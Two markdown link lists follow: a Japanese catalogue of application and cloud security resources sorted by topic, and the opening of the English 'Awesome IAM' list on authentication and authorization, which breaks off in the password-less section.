- [メルカリ エンジニアリングブログ](https://engineering.mercari.com/blog/category/security/) - [入社4日目のAWS専任者が挑むセキュリティの向上 “土地勘”がないからこそ選んだ「OODAループ」という考え方](https://logmi.jp/tech/articles/326764) - [How Flipkart Reacts to Security Vulnerabilities](https://blog.flipkart.tech/how-flipkart-reacts-to-security-vulnerabilities-17dae9b0661e) - [全リージョン、複数AWSアカウントのAWS Security Hubのコントロールをコードで統制・管理する](https://tech.pepabo.com/2022/08/09/security-hub-controls/) - [Zoncolan: How Facebook uses static analysis to detect and prevent security issues](https://engineering.fb.com/2019/08/15/security/zoncolan/) - [セキュリティを測定可能にする技術](https://medium.com/eureka-engineering/%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%92%E6%B8%AC%E5%AE%9A%E5%8F%AF%E8%83%BD%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93-8ee94625ee47) - [脅威 Intelligence と log 運用](https://developers.freee.co.jp/entry/threat-intelligence-and-log) ## Certification - [情報処理技術者試験・情報処理安全確保支援士](https://www.jitec.ipa.go.jp/1_11seido/seido_gaiyo.html) - [認定脆弱性診断士](https://www.gsx.co.jp/services/securitylearning/securist/webappnwsecuritytesting.html) - [Burp Suite Certified Practitioner](https://portswigger.net/web-security/certification) - 有効期限：5年間 - [OFFENSIVE SECURITY](https://www.offensive-security.com/courses-and-certifications/) - 有効期限：無期限 - [(ISC)^2](https://japan.isc2.org/intro_index.html) - [EC-Council](https://www.eccouncil.org/programs/) - [AWS Certified Security - Specialty](https://aws.amazon.com/jp/certification/certified-security-specialty/) - 有効期限：3年間 - https://aws.amazon.com/jp/certification/recertification/ - [The Linux Foundation](https://training.linuxfoundation.org/ja/full-catalog/?_sft_product_type=certification&trp-form-language=ja) - [HTB Academy](https://academy.hackthebox.com/preview/certifications/) - [Security Certification Roadmap](https://pauljerimy.com/security-certification-roadmap/) - [Linux Professional Institute LPIC-3 セキュリティ](https://www.lpi.org/ja/our-certifications/lpic-3-303-overview) ## CI/CD - [StepSecurity - Produce Software With Confidence](https://app.stepsecurity.io/) - [Ratchet](https://github.com/sethvargo/ratchet) - [未知の脅威に対抗するメルカリのCI再設計](https://engineering.mercari.com/blog/entry/20220203-defense-against-novel-threats-redesigning-ci-at-mercari/) ### CircleCI - [CircleCI Docs Security recommendations](https://circleci.com/docs/2.0/security-recommendations/) - [DevSecOps and CircleCI orbs: secure your CI/CD pipeline](https://circleci.com/blog/devsecops-and-circleci-orbs-security-focused-ci-cd-best-practices/) ## Container ### Docker - [Dockerfile best practices](https://github.com/hexops/dockerfile) ### General - [コンテナのセキュリティを中身から理解しよう](https://speakerdeck.com/udzura/inside-out-container-and-its-security) - [[AWS Black Belt Online Seminar] コンテナセキュリティ入門](https://aws.amazon.com/jp/blogs/news/aws-black-belt-online-seminar-container-security-introduction/) - [アプリケーションコンテナセキュリティガイド](https://www.ipa.go.jp/files/000085279.pdf) - [container-dev-security](https://speakerdeck.com/mochizuki875/container-dev-security) - [OSSで始めるコンテナセキュリティ](https://dev.classmethod.jp/articles/developersio-2022-container-security-with-oss-tools/) - [Container Security Considerations: Security Best Practices and Common Threats](https://www.returnonsecurity.com/container-security-considerations/) - [実践 Linux コンテナ実行基盤セキュリティ](https://mrtc0.notion.site/Security-Camp-B6-81eb740553154a70aeef92f3455717bf) - [Keeping Docker secrets secure (even if you’re not using Kubernetes)](https://snyk.io/blog/keeping-docker-secrets-secure/) ### Kubernetes - [脅威モデリングで考える Kubernetes セキュリティ](https://speakerdeck.com/mrtc0/cloudnative-days-tokyo-2021-number-cndt2021-number-cndt2021-b) - [サイバー攻撃から Kubernetes クラスタを守るための効果的なセキュリティ対策](https://speakerdeck.com/kyohmizu/saibagong-ji-kara-kubernetes-kurasutawoshou-rutamefalsexiao-guo-de-nasekiyuriteidui-ce) ## Corporate - [業務する環境をセキュアにした話 その1](https://techtekt.persol-career.co.jp/entry/tech/210402_01) - [業務する環境をセキュアにした話 その2](https://techtekt.persol-career.co.jp/entry/tech/210518_01) - [業務する環境をセキュアにした話 その3](https://techtekt.persol-career.co.jp/entry/tech/210628_01) - [業務する環境をセキュアにした話 その4](https://techtekt.persol-career.co.jp/entry/culture/211202_01) - [業務する環境をセキュアにした話 その5](https://techtekt.persol-career.co.jp/entry/tech/220606_01) - [業務する環境をセキュアにした話 その6](https://techtekt.persol-career.co.jp/entry/tech/220823_01) ## Curation List - [Open source security tools](https://github.com/CaledoniaProject/awesome-opensource-security) - [Software Supply-Chain Security Reading List](https://github.com/chainguard-dev/ssc-reading-list) ## Datadog - [Accelerate incident investigations with Log Anomaly Detection](https://www.datadoghq.com/ja/blog/accelerate-incident-investigations-with-log-anomaly-detection/) - [Detect cryptocurrency mining in your environment with Datadog Cloud SIEM](https://www.datadoghq.com/ja/blog/cryptomining-detection-rule/) ## DevSecOps - [アジャイル開発におけるセキュリティ | パターン・ランゲージ](https://github.com/OWASP/www-chapter-japan/blob/master/skillmap_project/Security%20in%20Agile%20Software%20Development.md#8-%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%86%E3%82%B9%E3%83%88%E3%81%AE%E5%AE%9F%E6%96%BD%E3%82%BF%E3%82%A4%E3%83%9F%E3%83%B3%E3%82%B0%E3%81%A8%E6%96%B9%E9%87%9D%E6%A4%9C%E8%A8%8E) - [Building a Product Security program from scratch](https://www.anshumanbhartiya.com/posts/building-product-security-program) - [Product Security Roadmap](https://www.anshumanbhartiya.com/posts/prodsec-roadmap) - [A Lightweight Approach To Implement Secure Software Development LifeCycle (Secure SDLC)](https://www.anshumanbhartiya.com/posts/secure-sdlc) - [OWASP DevSecOps Maturity Model](https://dsomm.timo-pagel.de/) - [セキュリティ・バイ・デザイン導入指南書](https://www.ipa.go.jp/icscoe/program/core_human_resource/final_project/security-by-design.html) - [DevOpsSec](https://www.oreilly.com/library/view/devopssec/9781491971413/) - [2022.11.14 プロダクトセキュリティのはじめ方 in Ubie](https://docs.google.com/presentation/d/1ygKmi4AH8C6zhKUW_1t8hz-FA9xbjblWBU4XaRtJRLM/edit#slide=id.g12324f065a8_0_0) - [Web サービススタートアップにおけるプロダクトセキュリティの始め方](https://zenn.dev/mizutani/articles/web-startup-prodsec) - [エウレカのDevSecOps](https://medium.com/eureka-engineering/devsecops-at-eureka-7182447fd8c) ## eBPF - [eBPFってなんだ？](https://dev.classmethod.jp/articles/202207-report-ebpf-newrelic-devio22/) - [eBPFで実現するコンテナランタイムセキュリティ](https://speakerdeck.com/tobachi/container-runtime-security-with-ebpf) - [eBPFに3日で入門した話](https://caddi.tech/archives/3880) ## Education - [従業員向けセキュリティ教育のネタ](https://zenn.dev/cestquigucci/articles/8079939a6a7249) ## English - [セキュリティエンジニアのための English Reading](https://www.ipa.go.jp/icscoe/program/core_human_resource/final_project/english-reading.html) ## Fuzzing - [t-reqs](https://github.com/bahruzjabiyev/t-reqs) ## DATABASE ### MySQL - [MySQLのデータ暗号化いろいろ](https://gihyo.jp/dev/serial/01/mysql-road-construction-news/0174) ## Github - [GitHubリポジトリにおけるレビュープロセスの統制](https://engineering.mercari.com/blog/entry/20211213-8f5f5a5aee/) - [GitHubセキュリティ Organization運用のベストプラクティス](https://zenn.dev/tmknom/books/github-organization-security) - [Github Actions Security guides](https://docs.github.com/en/actions/security-guides) - [GitHubをorgレベルでセキュアに運用する設定](https://zenn.dev/tmknom/scraps/6974be5ba56332) - [GitHub ActionsのTipsやベストプラクティスを淡々と記録する](https://zenn.dev/tmknom/scraps/f05911dad51689) - [GitHub EnterpriseのOrganizationに関するガイド　[GitHub Enterprise管理者向け]](https://github.blog/jp/2022-04-05-ghe-organization-guide/) - [GitHub EnterpriseのOrganization管理　ベストプラクティス　[GitHub Enterprise管理者向け]](https://github.blog/jp/2022-04-05-github-enterprise-organization-best-practice/) - [GitHub Organizationの安全な運用とモニタリングに関するスライド（全44ページ）を公開しました](https://blog.flatt.tech/entry/github-organization-best-practices) - [GitHub Actions Workflow チェックリスト](https://developers.cyberagent.co.jp/blog/archives/36423/) - [Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) - [Keeping your GitHub Actions and workflows secure Part 2: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input/) - [Keeping your GitHub Actions and workflows secure Part 3: How to trust your building blocks](https://securitylab.github.com/research/github-actions-building-blocks/) - [GitGoat](https://github.com/arnica-ext/GitGoat) - [How to protect yourself against GitHub/OAuth Apps Supply Chain Attacks](https://www.arnica.io/blog/how-to-protect-yourself-against-github-oauth-apps-supply-chain-attacks) - [Composite Action実践ガイド：GitHub Actionsのメンテナンス性を高める技法](https://zenn.dev/tmknom/books/pragmatic-composite-action) ## Golang - [ソースコードから脆弱性を見つけよう](https://docs.google.com/presentation/d/1XlgYzmGiAvh2XM4fcjX9dZCpjcDTHuGHjSojlhz9X8w/edit#slide=id.p) - [OWASP Secure Coding Practices(日本語版)](https://github.com/techtouch-inc/Go-SCP-jaJP) ## HTML - [HTML5 Security Cheatsheet](https://html5sec.org/) - [Securely embed content on your site](https://developer.chrome.com/en/blog/embed-content/) ## Incident Response - [IRM-2022 (Incident Response Methodologies 2022)](https://github.com/certsocietegenerale/IRM) ## iOS - [iOSアプリのセキュアコーディング入門](https://www.jssec.org/dl/20160323_Ikuya_Fukumoto.pdf) ## Job - [freee](https://jobs.freee.co.jp/#job_list) - [Github](https://github.com/about/careers) - [mercari](https://apply.workable.com/mercari/) - [PayPay](https://about.paypay.ne.jp/career/) - [SanSan](https://jp.corp-sansan.com/recruit/) - [Speee](https://open.talentio.com/r/1/c/speee/pages/43246) - [デジタル庁](https://herp.careers/v1/digitalsaiyo/requisition-groups/906b6d65-b753-42ee-8860-5f1a56720bb4) ## Log Management - [Best practices for reducing sensitive data blindspots and risk](https://www.datadoghq.com/ja/blog/sensitive-data-management-best-practices/) - [高度サイバー攻撃への対処におけるログの活用と分析方法](https://www.jpcert.or.jp/research/apt-loganalysis.html) ## Mail - [電子メール技術移転：メールプロトコル勉強会をチームで開催してみた](https://heartbeats.jp/hbblog/2022/12/email-protocol.html) ## Monitoring - [入門 監視――モダンなモニタリングのためのデザインパターン](https://www.oreilly.co.jp//books/9784873118642/index.html) ## Node.js - [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/) ## Okta - [Threat hunting in Okta logs](https://medium.com/threatpunter/okta-threat-hunting-tips-62dc0013d526) - [マスタリングOkta](https://www.oreilly.co.jp/books/9784873119717/) ## OPA/Rego - [OPA/Rego入門](https://zenn.dev/mizutani/books/d2f1440cfbba94) ## Perspective - [「仕様の脆弱性」まとめブログ用のチェックシート](https://github.com/flatt-security/blog-specification-vlunerabilities-check-sheet) ## Phishing - [GitHub を狙った Reverse Proxy 型フィッシングサイトの探索と報告](https://brutalgoblin.hatenablog.jp/entry/2022/03/12/142249) - [Phising Hunter](https://www.phishing-hunter.com/cloud/) ## Protocol - [The Illustrated TLS 1.3 Connection](https://tls13.ulfheim.net/) - [The Illustrated QUIC Connection](https://quic.ulfheim.net/) - [マスタリングTCP/IP 情報セキュリティ編](https://www.ohmsha.co.jp/book/9784274069215/) - [プロフェッショナルSSL/TLS](https://www.lambdanote.com/products/ssl-tls-ebook) ## Ruby / Rails - [Securing Rails Applications](https://guides.rubyonrails.org/security.html) - [Deserialization on Rails](https://zenn.dev/ooooooo_q/books/rails_deserialize) - [How to hack with ransack](https://younes.codes/posts/how-to-hack-with-ransack) - [Round Two: An Updated Universal Deserialisation Gadget for Ruby 2.x-3.x](https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) - [Security Best Practices for Your Rails Application](https://blog.appsignal.com/2022/10/05/security-best-practices-for-your-rails-application.html) - [研鑽Rubyプログラミング β版](https://www.lambdanote.com/products/products-polished-ruby-beta) ## Risk Analysis - [制御システムのセキュリティリスク分析ガイド](https://www.ipa.go.jp/security/controlsystem/riskanalysis.html) ## Secret Management - [Best practices for managing and storing secrets including API keys and other credentials [cheat sheet included]](https://blog.gitguardian.com/secrets-api-management/) - [機密情報が間違ってログ出力されたことを検知する仕組みを、Datadogのセンシティブデータスキャナーで作る](https://tech.plaid.co.jp/datadog_sensitive_data_detection) ## Shell - [実践 bashによるサイバーセキュリティ対策――セキュリティ技術者のためのシェルスクリプト活用術](https://www.oreilly.co.jp/books/9784873119052/) ## Source of information - [Flatt Security Blog](https://blog.flatt.tech/) - [はてなブックマーク セキュリティ技術](https://b.hatena.ne.jp/hotentry/it/%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E6%8A%80%E8%A1%93) - [徳丸浩の日記](https://blog.tokumaru.org/) - [徳丸浩のウェブセキュリティ講座](https://www.youtube.com/channel/UCLNW6Bo_YU3TxnzsII2gEDA) - [徳丸先生のDocswellスライド一覧](https://www.docswell.com/user/ockeghem) - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) - [Webアプリケーション脆弱性診断ガイドライン](https://github.com/WebAppPentestGuidelines/WebAppPentestGuidelines) - [AWS ホワイトペーパーとガイド](https://aws.amazon.com/jp/whitepapers/?whitepapers-main.sort-by=item.additionalFields.sortDate&whitepapers-main.sort-order=desc&awsf.whitepapers-content-type=*all&awsf.whitepapers-tech-category=tech-category%23security-identity-compliance&awsf.whitepapers-industries=*all&awsf.whitepapers-business-category=*all&awsf.whitepapers-global-methodology=*all) - [GitHub Advisory Database](https://github.com/advisories) - [Github Topics](https://github.com/topics) - [Github Marketplace](https://github.com/marketplace) - [The Github Blog](https://github.blog/category/security/) - [tl;dr sec](https://tldrsec.com/blog/) - [NahamCon2022](https://www.youtube.com/playlist?list=PLKAaMVNxvLmAcY4n3an_SPwpfseHzZ6Yo) - [arrinca](https://www.arnica.io/blog) - [Speaker Deck @rung](https://speakerdeck.com/rung) ## Static Analysis ### Container - [Snyk Container](https://snyk.io/product/container-vulnerability-management/) - [dockle](https://github.com/goodwithtech/dockle) ### General - [CodeQL](https://codeql.github.com/) - [Semgrep](https://semgrep.dev/) - [horusec](https://github.com/ZupIT/horusec) - [Snyk Code](https://snyk.io/product/snyk-code/) - [recheck](https://makenowjust-labs.github.io/recheck/) ### Go - [gosec](https://github.com/securego/gosec) ### IaC - [Snyk Infrastructure as Code](https://snyk.io/product/infrastructure-as-code-security/) ### Ruby - [brakeman](https://github.com/presidentbeef/brakeman) ### Theory - [プログラム解析入門、もしくはC/C++を安全に書くのが難しすぎる話](https://docs.google.com/presentation/d/1WHmCLeC5ZPiq2MBOQaZc-pNVWaJanx8eXAkViGl2zws/mobilepresent?slide=id.p) ## SSL / TLS - [TLS, HTTP/2演習](https://www.slideshare.net/shigeki_ohtsu/tls-http2) ## Study Guide - [So you want to be a web security researcher?](https://portswigger.net/research/so-you-want-to-be-a-web-security-researcher) - [Your Guide to Starting an Application Security Career](https://betterappsec.com/your-guide-to-starting-an-application-security-career-1bb04dab7892) - [「攻撃テクニック」を学ぶ方法｜高度なセキュリティを実現する組織の在り方](https://www.nri-secure.co.jp/blog/attack-techniques-in-linux-environment) - [A rough guide to launching a career in cybersecurity](https://portswigger.net/daily-swig/a-rough-guide-to-launching-a-career-in-cybersecurity) - [PENTESTERLAB BOOTCAMP](https://pentesterlab.com/bootcamp) ## Supply Chain ### SLSA - [How to SLSA Part 1 - The Basics](https://security.googleblog.com/2022/04/how-to-slsa-part-1-basics.html) - [How to SLSA Part 2 - The Details](https://security.googleblog.com/2022/04/how-to-slsa-part-2-details.html) - [How to SLSA Part 3 - Putting it all together](https://security.googleblog.com/2022/04/how-to-slsa-part-3-putting-it-all.html) - [Introducing SLSA, an End-to-End Framework for Supply Chain Integrity](https://security.googleblog.com/2021/06/introducing-slsa-end-to-end-framework.html) - [Achieving SLSA 3 Compliance with GitHub Actions and Sigstore for Go modules](https://github.blog/2022-04-07-slsa-3-compliance-with-github-actions/) - [General availability of SLSA3 Generic Generator for GitHub Actions](https://slsa.dev/blog/2022/08/slsa-github-workflows-generic-ga) ### Uncategorized - [改ざんできないビルドでソフトウェア サプライ チェーンのセキュリティを改善する](https://developers-jp.googleblog.com/2022/05/improving-software-supply-chain.html) - [サプライチェーンセキュリティにおける脅威と対策の再評価](https://engineering.mercari.com/blog/entry/20221215-supplychain-security-reevaluation/) ### npm - [NPM security: preventing supply chain attacks](https://snyk.io/blog/npm-security-preventing-supply-chain-attacks/) ## Threat ### Account Takeover - [Hackers can take over accounts you haven’t even created yet](https://blog.malwarebytes.com/hacking-2/2022/06/hackers-can-take-over-accounts-you-havent-even-created-yet/) ### Buffer Overflow - [Buffer overflow attacks in C++: A hands-on guide](https://snyk.io/blog/buffer-overflow-attacks-in-c/) ### Cookie - [Cookie Prefixのバイパス](https://www.mbsd.jp/research/20221005/cookie-prefix/) ### CORS Misconfigurations - [Exploiting CORS Misconfigurations](https://attackshipsonfi.re/p/exploiting-cors-misconfigurations) ### CSRF - [検出例から学ぶクロスサイトリクエストフォージェリ](https://www.mbsd.jp/research/20220617/blog/) ### Deserialization - [NotSoCereal-Lab: A Deserialization exploit playground](https://notsosecure.com/notsocereal-lab-deserialization-exploit-playground) ### Drive-by attacks - [Why are developers so vulnerable to drive-by attacks?](https://about.gitlab.com/blog/2021/09/07/why-are-developers-vulnerable-to-driveby-attacks/) ### ReDoS - [正規表現とReDoS](https://speakerdeck.com/akatsukinewgrad/zheng-gui-biao-xian-toredos) - [正規表現の脆弱性「ReDoS」徹底解説 ～原理と対策から、Perlでの最適化まで（1）](https://gihyo.jp/dev/serial/01/perl-hackers-hub/007401) ### SQL Injection - [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) ### XSS - [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - [Browser's XSS Filter Bypass Cheat Sheet](https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet) - [AngularJS Sandbox Bypass Collection](https://pastebin.com/xMXwsm0N) - [Attacking web wihout JS - CSS injection](https://speakerdeck.com/aszx87410/attacking-web-without-js-css-injection) ### XS-Leaks - [XS-Leaks Wiki](https://xsleaks.dev/) ### XXE - [PortSwigger Web Security Academy](https://portswigger.net/web-security/xxe) - [How to find and fix XML entity vulnerabilities](https://snyk.io/blog/find-and-fix-xml-entity-vulnerabilities/) ### Uncategorized - [DataBinding2Shell](https://i.blackhat.com/EU-22/Wednesday-Briefings/EU-22-Mu-Databinding2Shell-Novel-Pathways-to-RCE-Web-Frameworks.pdf) ## Threat Intelligence - [脅威インテリジェンスの教科書](https://gihyo.jp/dp/ebook/2022/978-4-297-12458-8) ## Vulnerable App - [DVWS](https://github.com/interference-security/DVWS) - [RailsGoat](https://github.com/OWASP/railsgoat) - [TUDO](https://github.com/bmdyy/tudo) ### HTTP - [HTTP/3入門 進化するHTTPの歩み](https://gihyo.jp/admin/serial/01/http3/0001?summary) - [HTTP/3入門 詳解QUIC](https://gihyo.jp/admin/serial/01/http3/0002?summary) - [HTTP/3入門 詳解HTTP/3](https://gihyo.jp/admin/serial/01/http3/0003?summary) - [HTTP/3入門 実践HTTP/3](https://gihyo.jp/admin/serial/01/http3/0004?summary) - [HTTP/3入門 HTTP/3の拡張と応用](https://gihyo.jp/admin/serial/01/http3/0005?summary) - [マイクロサービス／分散モノリス的アーキテクチャへの攻撃手法](https://gmo-cybersecurity.com/news/security_camp_presentation_slide_20220901/) - [XMLHttpRequest とはなんだったのか](https://blog.jxck.io/entries/2022-09-30/XMLHttpRequest.html) ### WASM - [Wasmはなぜセキュアなのか？](https://zenn.dev/0kate/articles/83e48c177ff709) ## Webhook - [How to secure Twilio webhook URLs in Node.js](https://www.twilio.com/blog/how-to-secure-twilio-webhook-urls-in-nodejs) - [Best practices for creating secure webhooks](https://snyk.io/blog/creating-secure-webhooks/) ## Zero Trust - [ゼロトラスト移行のすゝめ](https://www.ipa.go.jp/icscoe/program/core_human_resource/final_project/zero-trust-mgn.html) - [ゼロトラストセキュリティ入門](https://www.nri-secure.co.jp/download/zerotrust-security)

<!--lint disable awesome-heading--> <p align="center"> <a href="https://github.com/kdeldycke/awesome-iam/"> <img src="https://github.com/kdeldycke/awesome-iam/raw/main/assets/awesome-iam-header.jpg" alt="Awesome IAM"> </a> </p> <p align="center"> <strong>A curated list of resources on managing accounts, users, roles, permissions, authentication and authorization.</strong> <a href="https://github.com/sindresorhus/awesome"><img src="https://awesome.re/badge-flat.svg" alt="Awesome"></a> </p> <p align="center"> <i>Trusting is hard. Knowing who to trust, even harder.</i><br> — Maria V. Snyder<sup id="intro-quote-ref"><a href="#intro-quote-def">[1]</a></sup> </p> <!--lint disable double-link--> [IAM](https://en.wikipedia.org/wiki/Identity_management) stands for Identity and Access Management. But is more than handling user accounts: it encompass authentication, authorization and privacy, making this perimeter quite complex. It is an essential pillar of the cloud stack, where users, products and security meets. The [other pillar being billing & payments 💰](https://github.com/kdeldycke/awesome-billing/). This knowledge base expose all the technologies, protocols and jargon of the domain in a comprehensive and actionable manner. <!--lint enable double-link--> ## Contents <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> - [Overview](#overview) - [Security](#security) - [Account Management](#account-management) - [Cryptography](#cryptography) - [Zero-trust Network](#zero-trust-network) - [Authentication](#authentication) - [Password-based](#password-based) - [Password-less](#password-less) - [Security Key](#security-key) - [Multi-Factor](#multi-factor) - [SMS-based](#sms-based) - [Public-Key Infrastructure (PKI)](#public-key-infrastructure-pki) - [JWT](#jwt) - [OAuth2 & OpenID](#oauth2--openid) - [SAML](#saml) - [Authorization](#authorization) - [Policy models](#policy-models) - [Open-source policy frameworks](#open-source-policy-frameworks) - [AWS policy tools](#aws-policy-tools) - [Macaroons](#macaroons) - [Secret Management](#secret-management) - [Hardware Security Module (HSM)](#hardware-security-module-hsm) - [Trust & Safety](#trust--safety) - [User Identity](#user-identity) - [Fraud](#fraud) - [Moderation](#moderation) - [Threat Intelligence](#threat-intelligence) - [Captcha](#captcha) - [Blocklists](#blocklists) - [Hostnames and Subdomains](#hostnames-and-subdomains) - [Emails](#emails) - [Reserved IDs](#reserved-ids) - [Profanity](#profanity) - [Privacy](#privacy) - [Anonymization](#anonymization) - [GDPR](#gdpr) - [UX/UI](#uxui) - [Competitive Analysis](#competitive-analysis) - [History](#history) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## Overview <img align="right" width="50%" src="./assets/cloud-software-stack-iam.jpg"/> In a Stanford class providing an [overview of cloud computing](http://web.stanford.edu/class/cs349d/docs/L01_overview.pdf), the software architecture of the platform is described as in the right diagram → Here we set out the big picture: definition and strategic importance of the domain, its place in the larger ecosystem, plus some critical features. - [The EnterpriseReady SaaS Feature Guides](https://www.enterpriseready.io) - The majority of the features making B2B users happy will be implemented by the IAM perimeter. - [IAM is hard. It's really hard.](https://twitter.com/kmcquade3/status/1291801858676228098) - “Overly permissive AWS IAM policies that allowed `s3:GetObject` to `*` (all) resources”, led to $80 million fine for Capital One. The only reason why you can't overlook IAM as a business owner. - [IAM Is The Real Cloud Lock-In](https://forrestbrazeal.com/2019/02/18/cloud-irregular-iam-is-the-real-cloud-lock-in/) - A little _click-baity_, but author admit that “It depends on how much you trust them to 1. Stay in business; 2. Not jack up your prices; 3. Not deprecate services out from under you; 4. Provide more value to you in business acceleration than they take away in flexibility.” ## Security Security is one of the most central pillar of IAM foundations. Here are some broad concepts. - [Enterprise Information Security](https://infosec.mozilla.org) - Mozilla's security and access guidelines. - [Mitigating Cloud Vulnerabilities](https://media.defense.gov/2020/Jan/22/2002237484/-1/-1/0/CSI-MITIGATING-CLOUD-VULNERABILITIES_20200121.PDF) - “This document divides cloud vulnerabilities into four classes (misconfiguration, poor access control, shared tenancy vulnerabilities, and supply chain vulnerabilities)”. - [Cartography](https://github.com/lyft/cartography) - A Neo4J-based tool to map out dependencies and relationships between services and resources. Supports AWS, GCP, GSuite, Okta and GitHub. - [Open guide to AWS Security and IAM](https://github.com/open-guides/og-aws#security-and-iam) ## Account Management The foundation of IAM: the definition and life-cycle of users, groups, roles and permissions. - [As a user, I want…](https://mobile.twitter.com/oktopushup/status/1030457418206068736) - A meta-critic of account management, in which features expected by the business clash with real user needs, in the form of user stories written by a fictional project manager. - [Things end users care about but programmers don't](https://instadeq.com/blog/posts/things-end-users-care-about-but-programmers-dont/) - In the same spirit as above, but broader: all the little things we overlook as developers but users really care about. In the top of that list lies account-centric features, diverse integration and import/export tools. I.e. all the enterprise customers needs to cover. - [Separate the account, user and login/auth details](https://news.ycombinator.com/item?id=21151830) - Sound advice to lay down the foundation of a future-proof IAM API. - [Identity Beyond Usernames](https://lord.io/blog/2020/usernames/) - On the concept of usernames as identifiers, and the complexities introduced when unicode characters meets uniqueness requirements. - [Kratos](https://github.com/ory/kratos) - User login, user registration, 2FA and profile management. - [Conjur](https://github.com/cyberark/conjur) - Automatically secures secrets used by privileged users and machine identities. ## Cryptography The whole authentication stack is based on cryptography primitives. This can't be overlooked. - [Cryptographic Right Answers](https://latacora.micro.blog/2018/04/03/cryptographic-right-answers.html) - An up to date set of recommendations for developers who are not cryptography engineers. There's even a [shorter summary](https://news.ycombinator.com/item?id=16749140) available. - [Security Recommendations for Any Device that Depends on Randomly-Generated Numbers](https://www.av8n.com/computer/htm/secure-random.htm) - “The phrase ‘random number generator’ should be parsed as follows: It is a random generator of numbers. It is not a generator of random numbers.” - [Real World Crypto Symposium](https://rwc.iacr.org) - Aims to bring together cryptography researchers with developers, focusing on uses in real-world environments such as the Internet, the cloud, and embedded devices. - [An Overview of Cryptography](https://www.garykessler.net/library/crypto.html) - “This paper has two major purposes. The first is to define some of the terms and concepts behind basic cryptographic methods, and to offer a way to compare the myriad cryptographic schemes in use today. The second is to provide some real examples of cryptography in use today.” - [Papers we love: Cryptography](https://github.com/papers-we-love/papers-we-love/blob/master/cryptography/README.md) - Foundational papers of cryptography. - [Lifetimes of cryptographic hash functions](http://valerieaurora.org/hash.html) - “If you are using compare-by-hash to generate addresses for data that can be supplied by malicious users, you should have a plan to migrate to a new hash every few years”. ## Zero-trust Network Zero trust network security operates under the principle “never trust, always verify”. - [BeyondCorp: A New Approach to Enterprise Security](https://www.usenix.org/system/files/login/articles/login_dec14_02_ward.pdf) - Quick overview of Google's Zero-trust Network initiative. - [What is BeyondCorp? What is Identity-Aware Proxy?](https://medium.com/google-cloud/what-is-beyondcorp-what-is-identity-aware-proxy-de525d9b3f90) - More companies add extra layers of VPNs, firewalls, restrictions and constraints, resulting in a terrible experience and a slight security gain. There's a better way. - [oathkeeper](https://github.com/ory/oathkeeper) - Identity & Access Proxy and Access Control Decision API that authenticates, authorizes, and mutates incoming HTTP requests. Inspired by the BeyondCorp / Zero Trust white paper. - [transcend](https://github.com/cogolabs/transcend) - BeyondCorp-inspired Access Proxy server. - [Pomerium](https://github.com/pomerium/pomerium) - An identity-aware proxy that enables secure access to internal applications. ## Authentication Protocols and technologies to verify that you are who you pretend to be. - [API Tokens: A Tedious Survey](https://fly.io/blog/api-tokens-a-tedious-survey/) - An overview and comparison of all token-based authentication schemes for end-user APIs. - [A Child’s Garden of Inter-Service Authentication Schemes](https://web.archive.org/web/20200507173734/https://latacora.micro.blog/a-childs-garden/) - In the same spirit as above, but this time at the service level. - [Scaling backend authentication at Facebook](https://www.youtube.com/watch?v=kY-Bkv3qxMc) - How-to in a nutshell: 1. Small root of trust; 2. TLS isn't enough; 3. Certificate-based tokens; 4. Crypto Auth Tokens (CATs). See the [slides](https://rwc.iacr.org/2018/Slides/Lewi.pdf) for more details. ### Password-based - [The new NIST password guidance](https://pciguru.wordpress.com/2019/03/11/the-new-nist-password-guidance/) - A summary of [NIST Special Publication 800-63B](https://pages.nist.gov/800-63-3/sp800-63b.html) covering new password complexity guidelines. - [Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) - The only way to slow down offline attacks is by carefully choosing hash algorithms that are as resource intensive as possible. - [Password expiration is dead](https://techcrunch.com/2019/06/02/password-expiration-is-dead-long-live-your-passwords/) - Recent scientific research calls into question the value of many long-standing password-security practices such as password expiration policies, and points instead to better alternatives such as enforcing banned-password lists and MFA. - [Practical Recommendations for Stronger, More Usable Passwords](http://www.andrew.cmu.edu/user/nicolasc/publications/Tan-CCS20.pdf) - This study recommend the association of: blocklist checks against commonly leaked passwords, password policies without character-class requirements, minimum-strength policies. - [Banks, Arbitrary Password Restrictions and Why They Don't Matter](https://www.troyhunt.com/banks-arbitrary-password-restrictions-and-why-they-dont-matter/) - “Arbitrary low limits on length and character composition are bad. They look bad, they lead to negative speculation about security posture and they break tools like password managers.” - [Dumb Password Rules](https://github.com/dumb-password-rules/dumb-password-rules) - Shaming sites with dumb password rules. - [Plain Text Offenders](https://plaintextoffenders.com/about/) - Public shaming of websites storing passwords in plain text. - [Password Manager Resources](https://github.com/apple/password-manager-resources) - A collection of password rules, change URLs and quirks by sites. - [A Well-Known URL for Changing Passwords](https://github.com/WICG/change-password-url) - Specification defining site resource for password updates. - [How to change the hashing scheme of already hashed user's passwords](https://news.ycombinator.com/item?id=20109360) - Good news: you're not stuck with a legacy password saving scheme. Here is a trick to transparently upgrade to stronger hashing algorithm. ### Password-less - [An argument for passwordless](https://web.archive.org/web/20190515230752/https://biarity.gitlab.io/2018/02/23/passwordless/) - Passwords are not the be-all and end-all of user authentication. This article tries to tell you why. - [WebAuthn guide](https://webauthn.guide) - 